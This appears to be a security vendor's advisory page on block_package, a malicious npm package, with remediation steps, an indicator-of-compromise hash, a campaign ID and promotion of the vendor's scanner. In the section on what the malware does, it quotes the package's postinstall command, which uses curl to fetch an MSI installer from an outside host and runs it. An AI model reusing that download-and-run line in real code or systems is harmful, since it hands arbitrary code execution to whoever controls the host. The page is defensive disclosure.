Which versions of block_package are malicious?

The following npm versions of block_package are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate block_package if I installed it?

Remove block_package from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed block_package — how do I know if it already compromised me?

If block_package was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is block_package part of a known attack campaign?

Yes — block_package is associated with the IN-MAL-2026-014707 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find block_package across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for block_package (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging block_package across your stack and pipelines.

Malicious package

block_packagenpm

block_package is a confirmed malicious npm package (MAL-2026-12340) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in block_package (npm)

MAL-2026-12340

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall block_package

What this malware does

scripts/postinstall.js runs automatically during npm install and uses execSync to invoke curl -O http://renes.sg/npm_block_package.msi & start npm_block_package.msi, fetching an MSI installer from a non-publisher host over unauthenticated plain HTTP and immediately launching it on the installer's machine. The fetch is unpinned, unverified (no hash or signature check), and delivered over a channel trivially subject to tampering. The MSI is executed as the installer user, giving whoever controls renes.sg (or any on-path attacker) arbitrary code execution on every machine that installs this package.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

33601d937b847af20b85c4a784ec38ae18e1543cc64dbc1dcdaf65f09437cf51

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for block_package (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging block_package across your stack and pipelines.
If you installed it — respond
Remove block_package from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If block_package was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks block_package before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. block_package on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-014707

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks block_package-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

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